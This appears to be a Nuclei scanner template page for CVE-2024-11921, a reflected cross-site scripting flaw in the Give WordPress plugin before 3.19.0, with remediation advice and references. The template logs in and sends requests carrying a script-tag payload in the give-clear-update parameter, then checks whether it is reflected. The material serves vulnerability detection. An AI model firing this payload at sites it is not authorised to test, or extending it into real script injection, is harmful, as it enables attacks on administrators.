Give WP Plugin < 3.19.0 - Cross-Site Scripting

ID: CVE-2024-11921

Severity: high

Author: Splint3r7

Tags: cve,cve2024,wordpress,wp,wp-plugin,give,xss,authenticated

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

id: CVE-2024-11921

info:
  name: Give WP Plugin < 3.19.0 - Cross-Site Scripting
  author: Splint3r7
  severity: high
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  remediation: |
    Update to the version 3.19.0 of plugin.
  reference:
    - https://wpscan.com/vulnerability/5f196294-5ba9-45b6-a27c-ab1702cc001f/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11921
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-11921
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: cve,cve2024,wordpress,wp,wp-plugin,give,xss,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=give-forms&give-clear-update="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/admin.php?page=give-forms&give-clear-update=1"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "give_forms_page_")'
        condition: and
# digest: 4a0a00473045022100eeb3f73142623044db96fcf89f51c745cd6d2d0cdc5e5e5a7a03f111ec0413f902202812ae2e9d6c00a7d64ad60ec269ba89a8ef856a62efa51fc2eea249efbee43b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-11921.yaml"

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